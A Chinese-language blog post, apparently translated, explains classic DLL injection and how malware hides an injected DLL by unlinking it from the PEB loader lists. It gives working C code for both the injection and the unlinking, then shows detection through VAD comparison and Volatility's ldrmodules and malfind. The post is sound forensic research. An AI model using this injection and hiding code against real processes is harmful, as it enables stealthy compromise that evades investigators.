隐藏于众目之下:从PEB中解除恶意DLL的链接

本文深入探讨了一种反取证技术,恶意软件可利用该技术隐藏注入的DLL。文章详细分析了Windows进程环境块的结构,并展示了如何通过修改其内部链接列表来使已加载的恶意DLL对常见的检测工具“隐形”。

隐藏于众目之下:从PEB中解除恶意DLL的链接

在这篇文章中,我们将探讨一种恶意软件可用于隐藏注入DLL的反取证技术。我们将深入Windows进程环境块的具体细节,并了解如何滥用它来隐藏已加载的恶意DLL。

背景:如果你知道我最近更关注云安全,你可能会疑惑为什么要读一篇关于Windows内部机制的文章。我最初写这篇博文正好是在三年前,即2020年4月。当时我卡在解释为什么Process Hacker会检测到本文描述的技术,于是停止了写作,从未发表。昨天在KubeCon上,我与很棒的Brad Geesaman共进晚餐,他鼓励我发表它。感谢Brad推动我完成了它! 免责声明:我们在本文中讨论的技术并不新。事实上,它可能已经有十多年的历史了。尽管如此,我未能找到任何关于如何在实践中使用它的具体、可操作的详细文章,所以这篇文章就是我的探索之旅!

DLL注入回顾

DLL注入是许多恶意软件和威胁行为者使用的常见技术。有多种DLL注入技术,我们将重点关注“经典”的DLL注入,即恶意进程将存在于磁盘上的DLL注入到目标进程中。一种更隐秘、更复杂的变体是反射式DLL注入。另一种非常流行的技术是DLL搜索顺序劫持。

DLL注入基础

以下是恶意进程执行“经典DLL注入”的典型步骤:

  1. 确保要注入的DLL存在于磁盘上
  2. 使用OpenProcess获取要注入的进程句柄
1
2
3
int desiredAccess = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
int targetPid = find_process("target.exe");
HANDLE hTargetProcess = OpenProcess(desiredAccess, true, targetPid);
  1. 在目标进程的内存空间中分配一个读写内存区域,并向其写入要注入的DLL路径
1
2
3
#define DLL_TO_INJECT "C:\\Windows\\Temp\\malicious.dll"
LPVOID targetDataPage = VirtualAllocEx(hTargetProcess, NULL, strlen(DLL_TO_INJECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hTargetProcess, targetDataPage, DLL_TO_INJECT, strlen(DLL_TO_INJECT), NULL)
  1. 检索LoadLibaryA函数的地址。(注意,这可以在恶意进程的上下文中完成,因为在Windows上,ASLR将kernel32.dll映射到相同的(虚拟)基地址,直到下次重启为止)
1
2
HMODULE hModule = GetModuleHandleA("kernel32.dll");
FARPROC load_library_addr = GetProcAddress(hModule, "LoadLibraryA");
  1. **使用CreateRemoteThread在目标进程中创建一个线程,**将LoadLibraryA的地址作为入口点,将要注入的DLL的地址作为参数。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
DWORD threadId = 0;
HANDLE hThread = CreateRemoteThread(
    hTargetProcess,
    NULL, // 安全属性
    0, // 栈大小
    (LPTHREAD_START_ROUTINE) load_library_addr,
    targetDataPage,
    0, // 创建标志
    &threadId
);

这将导致在目标进程中生成一个新线程,并实质上调用LoadLibraryA("C:\\Windows\\Temp\\malicious.dll"),从而触发恶意DLL的入口点。 完整示例代码在此。

DLL

要注入的DLL可以在IDE(如Visual Studio)中编译。当Windows在我们的CreateRemoteThread调用之后将其加载到目标进程中时,它将自动使用DLL_PROCESS_ATTACH标志调用其DllMain函数。下面是DLL代码的一个最小示例,假设它什么都不做,休眠5分钟然后退出。

1
2
3
4
5
6
7
8
BOOL APIENTRY DllMain(HMODULE hModule, DWORD event, LPVOID ignored) {
    if (event == DLL_PROCESS_ATTACH) {
        for (int i = 0; i < 300; ++i) {
            Sleep(1000);
        }
    }
    return true;
}

检测DLL注入

这种形式的DLL注入相当嘈杂且相对容易识别。如果我们将DLL注入到一个程序中(比如MS Paint),并使用Process Explorer、Process Hacker或ListDLLs进行检查,我们可以清楚地看到恶意DLL:

1
2
3
4
# 使用Sysinternals的ListDLLs
PS> Invoke-WebRequest https://live.sysinternals.com/Listdlls64.exe -OutFile listdlls.exe
PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
0x000000008c3f0000  0xb000    C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL

如果我们收集机器的内存转储,也可以使用Volatility最流行的模块之一dlllist轻松看到该DLL:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ vol.py -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe
Volatility Foundation Volatility Framework 2.6.1
************************************************************************
mspaint.exe pid:   9340
Command line : mspaint
Base               Path
------------------ ----
0x00007ff6db540000 C:\Windows\system32\mspaint.exe
...
0x00007ff8d7f20000 C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL

一个常见的警告

在使用volatility的dlllist命令时,你可能会遇到这个警告:

“dlllist模块将不再看到从LDR列表中解除链接的DLL”(链接) “考虑到恶意软件可以解除链接、更改名称或替换系统库”(链接)

几年前我在阿姆斯特丹参加的SANS FOR508也提到了“DLL解除链接”的概念。不幸的是,我找不到任何关于如何在实践中实现它的实际代码或解释。那么,让我们深入了解一下吧!

告诉我你的DLL,我就知道你是谁

恶意软件作者显然有兴趣隐藏他们注入的恶意DLL,使其不被DllList或Volatility等分析工具发现。为了理解如何隐藏,我们首先需要了解这些工具是如何列出进程加载的DLL的!

从PEB枚举DLL

大多数工具使用PEB,这是一个在内核创建每个进程时填充在其虚拟内存空间中的数据结构。PEB包含一个指向PEB_LDR_DATA结构的指针,该结构包含3个LDR_DATA_TABLE_ENTRY元素的双向链表:

  • InLoadOrderModuleList
  • InMemoryOrderModuleList
  • InInitializationOrderModuleList

这3个列表中的每一个都包含相同的条目,但顺序不同,正如它们的名称所示。例如,InLoadOrderModuleList是一个包含按加载顺序排列的DLL的双向链表。这些列表的链接方式起初看起来有点令人困惑,至少对我来说是这样。本质上,每个元素都使用一个名为In{Load,Memory,Initialization}OrderLinks的链接属性链接到每个列表中,该属性包含指向前一个元素的Blink指针和指向下一个元素的Flink指针。链接和数据结构如下图所示:(可下载全分辨率版本在此)

要遍历所有已加载的DLL,我们需要从PEB中检索要使用的列表的指针,比如InMemoryOrderModuleList。然后,我们使用每个条目的Flink指针遍历条目。注意,Flink指针将指向下一个条目的InMemoryOrderLinks结构——我们仍然需要从这个地址减去相应的偏移量才能到达LDR_DATA_TABLE_ENTRY结构的开头,这在上面的图表中非常明显——为此,我们可以使用CONTAINING_RECORD辅助宏。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 通过读取FS或GS寄存器返回指向PEB的指针
// 参见 https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
PEB* get_peb() {
#ifdef _WIN64
    return (PEB*) __readgsqword(0x60);
#else
    return (PEB*) __readfsdword(0x30);
#endif
}

// 打印当前进程加载的DLL列表
void list_dlls(void) {
    PEB* peb = get_peb();

    LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* first = current;

    while (current->Flink != first) {
        // current->Flink 指向我们想要到达的 LDR_DATA_TABLE_ENTRY 的 `InMemoryOrderLinks` 字段
        // 我们使用 CONTAINING_RECORD 从这个指针减去适当的偏移量,到达结构的开头
        LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        printf("%wZ loaded at %p", entry->FullDllName, entry->DllBase);
        current = current->Flink;
    }
}

如果我们将这段代码包含在恶意DLL中,将其注入mspaint.exe,并将输出写入文件而不是使用printf,我们会得到:

1
2
3
4
5
6
C:\Windows\system32\mspaint.exe loaded at 00007FF6DB540000
C:\Windows\SYSTEM32\ntdll.dll loaded at 00007FF8DE540000
C:\Windows\System32\KERNEL32.DLL loaded at 00007FF8DC850000
C:\Windows\System32\KERNELBASE.dll loaded at 00007FF8DB4D0000
....
C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL

InInitializationOrder 和 InLoadOrder 列表

现在——正如你在上面的代码中看到的,我们使用了InMemoryOrderModuleList双向链表。我们可以使用另外两个吗?可以,但需要一点额外的工作。实际上,如果你看一下winternl.h暴露的PEB_LDR_DATALDR_DATA_TABLE_ENTRY结构字段,你会发现它只暴露了InMemoryOrderModuleList(链表头)和InMemoryOrderLinks(条目的链接):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// 主PEB加载器数据结构
struct PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
};

// 对应每个已加载DLL的数据结构
struct LDR_DATA_TABLE_ENTRY {
    PVOID Reserved1[2];
    LIST_ENTRY InMemoryOrderLinks;
    PVOID Reserved2[2];
    PVOID DllBase;
    PVOID EntryPoint;
    ...
};

“Reserved”字段名表明,由于某种原因,微软不希望人们使用它们——可能是出于稳定性考虑,因为这些都是内部数据结构。也就是说,通过一些谷歌搜索和基本调试,我们可以重新定义LDR_DATA_TABLE_ENTRY结构,以便也能在代码中使用另外两个列表——我们稍后会需要这个。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY      InLoadOrderLinks;
    LIST_ENTRY      InMemoryOrderLinks;
    LIST_ENTRY      InInitializationOrderLinks;
    PVOID           DllBase;
    PVOID           EntryPoint;
    ULONG           SizeOfImage;
    UNICODE_STRING  FullDllName;
    UNICODE_STRING  ignored;
    ULONG           Flags;
    SHORT           LoadCount;
    SHORT           TlsIndex;
    LIST_ENTRY      HashTableEntry;
    ULONG           TimeDateStamp;
} MY_LDR_DATA_TABLE_ENTRY;

假设我们现在想访问InLoadOrderModuleList,我们现在可以通过以下方式实现:

  • 访问InMemoryOrderModuleList的第一个元素
  • 使用其InLoadOrderLinks链接结构

示例,与之前的例子非常相似,但使用InLoadOrderModuleListInLoadOrderLinks链接结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void list_dlls_with_init_order_chaining(void) {
	PEB* peb = get_peb();

	// 按内存顺序检索条目
	LIST_ENTRY* inMemoryOrderList = &peb->Ldr->InMemoryOrderModuleList;
	MY_LDR_DATA_TABLE_ENTRY* firstInMemoryEntry = CONTAINING_RECORD(inMemoryOrderList, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

	// 然后使用 'in load order' 链接结构遍历 DLLs
	LIST_ENTRY* current = &firstInMemoryEntry->InLoadOrderLinks;
	LIST_ENTRY* first = current;
	while (current->Flink != first) {
		MY_LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current->Flink, MY_LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
		printf("%wZ loaded\n", entry->FullDllName);
		current = current->Flink;
	}
}

旁注:这并不理想,因为当我们迭代这个列表时,我们不会从它的第一个元素开始。相反,我们将从InMemoryOrderModuleList的第一个元素开始,然后才以正确的顺序继续。(要正确地做到这一点,我们需要用正确的字段重新定义PEB_LDR_DATA,我没有做到——而且,我们这里不需要它。)

反取证技术:从PEB中解除恶意DLL的链接

既然我们正确理解了某些取证检查工具如何列出进程中的DLL,我们就可以研究如何隐藏自己了。

这个想法很简单:

  1. 遍历包含已加载DLL列表的PEB链表之一。
  2. 当我们找到恶意DLL时,将其从这些列表中解除链接。

下面是我们PEB最终的样子(全尺寸图在此): 注意恶意DLL的条目仍然存在于内存中,但不再出现在任何链表中了吗?

执行解除链接的代码重现如下。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void unlink_peb(void) {
    PEB* peb = get_peb();
    LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* first = current;
    while (current->Flink != first) {
        MY_LDR_DATA_TABLE_ENTRY* entry = (MY_LDR_DATA_TABLE_ENTRY *) CONTAINING_RECORD(current, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        char dllName[256];
        snprintf(dllName, sizeof(dllName), "%wZ", entry->FullDllName);
        if (strstr(dllName, "MYMALICIOUSDLL.DLL") != NULL) {
            // 找到了DLL!从3个双向链表中解除链接
            entry->InLoadOrderLinks.Blink->Flink = entry->InLoadOrderLinks.Flink;
            entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;

            entry->InMemoryOrderLinks.Blink->Flink = entry->InMemoryOrderLinks.Flink;
            entry->InMemoryOrderLinks.Flink->Blink = entry->InMemoryOrderLinks.Blink;

            entry->InInitializationOrderLinks.Blink->Flink = entry->InInitializationOrderLinks.Flink;
            entry->InInitializationOrderLinks.Flink->Blink = entry->InInitializationOrderLinks.Blink;

            return;
        }
        current = current->Flink;
    }
}

现在,如果我们使用ListDLLs搜索恶意DLL会怎样?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
PS>
它找不到了如果我们获取机器的内存镜像Volatility的dlllist呢
```bash
$ vol -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe | grep -i malicious
$
同样找不到这是意料之中的——以下是Volatility文档中关于dlllist的说明

> 要显示进程加载的DLL请使用 `dlllist` 命令它遍历由PEB的 `InLoadOrderModuleList` 指向的 `_LDR_DATA_TABLE_ENTRY` 结构的双向链表

我们恰恰将DLL从`InLoadOrderModuleList`中解除了链接这解释了为什么dlllist现在会漏掉它

## 检测DLL解除链接
在分析内存转储时我们感兴趣的有两件事
1.  找到进程加载的所有DLL即使它已被解除链接
2.  了解我们发现的DLL是否已从PEB双向链表中解除链接在取证调查中这一点至关重要因为它表明攻击者或恶意软件正试图在系统上隐藏

为此我们可以使用VAD虚拟地址描述符)。VAD是一个低级别内核数据结构用于跟踪内存区域如何映射到特定进程和DLL当恶意行为者在用户空间从PEB中解除DLL的链接时这不会影响VAD因此我们可以比较PEB中引用的DLL和VAD中的DLL看看是否有差异
一些流行的工具使用VAD并会捕获解除链接的DLL
*   **Process Hacker**因为它似乎使用PEB来列出DLL这让我感到惊讶很可能它实际上是安装了内核驱动程序并同时利用了VAD
*   **Volatility的malfind**它在底层使用`ldrmodules`来查看VAD中是否存在不在PEB中的DLL

## 实际案例中的DLL解除链接
虽然DLL解除链接似乎经常被提及但我只找到一个实际案例Flame蠕虫另一个分析在此),它是Stuxnet的表亲可能还有更多我没有花太多时间去寻找如果你有更多的例子请告诉我

## 未来研究方向
截至2023年我专注于云和容器安全在可预见的将来不太可能关注Windows安全或取证尽管如此我还是想尝试一些事情——如果你对此感兴趣试试看并在评论或Twitter上告诉我你的发现这些都是我三年前的笔记摘录所以如果它们不完全合理请原谅我
*   如果我们在PEB中覆盖DLL名称能否让它看起来像是加载的DLL是合法的
*   如果我们从内存中取消映射DLL能否隐藏它
*   我们能否使用内存转储中对DLL的打开句柄来识别我们有一个指向不在那里的DLL的句柄从而可能被隐藏

我发现有用的其他资源
*   [BlackHat Asia 2017 演讲: Evasive Hollow Process Injection](https://www.blackhat.com/docs/asia-17/materials/asia-17-KA-What-Malware-Authors-Don%27t-Want-You-To-Know-Evasive-Hollow-Process-Injection.pdf)
*   [Difference among dlllist, ldrmodules, and malfind](http://akovid.blogspot.com/2014/04/difference-among-dlllistldrmodulesand.html)
*   [Google 幻灯片: Detecting Malicious Code](https://docs.google.com/presentation/d/1KsZGF6cQ-N8ngABFGCZf8pTQQ5CZ19VoAHq5cO5ZPdE/htmlpresent)
*   [Malware Analyst's Cookbook (Chapter 16, Recipe 16-2: Detecting Unlinked DLLs with ldr_modules)](https://www.wiley.com/en-us/Malware+Analyst%E2%80%99s+Cookbook+and+DVD:+Tools+and+Techniques+for+Fighting+Malicious+Code-p-9780470613030)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计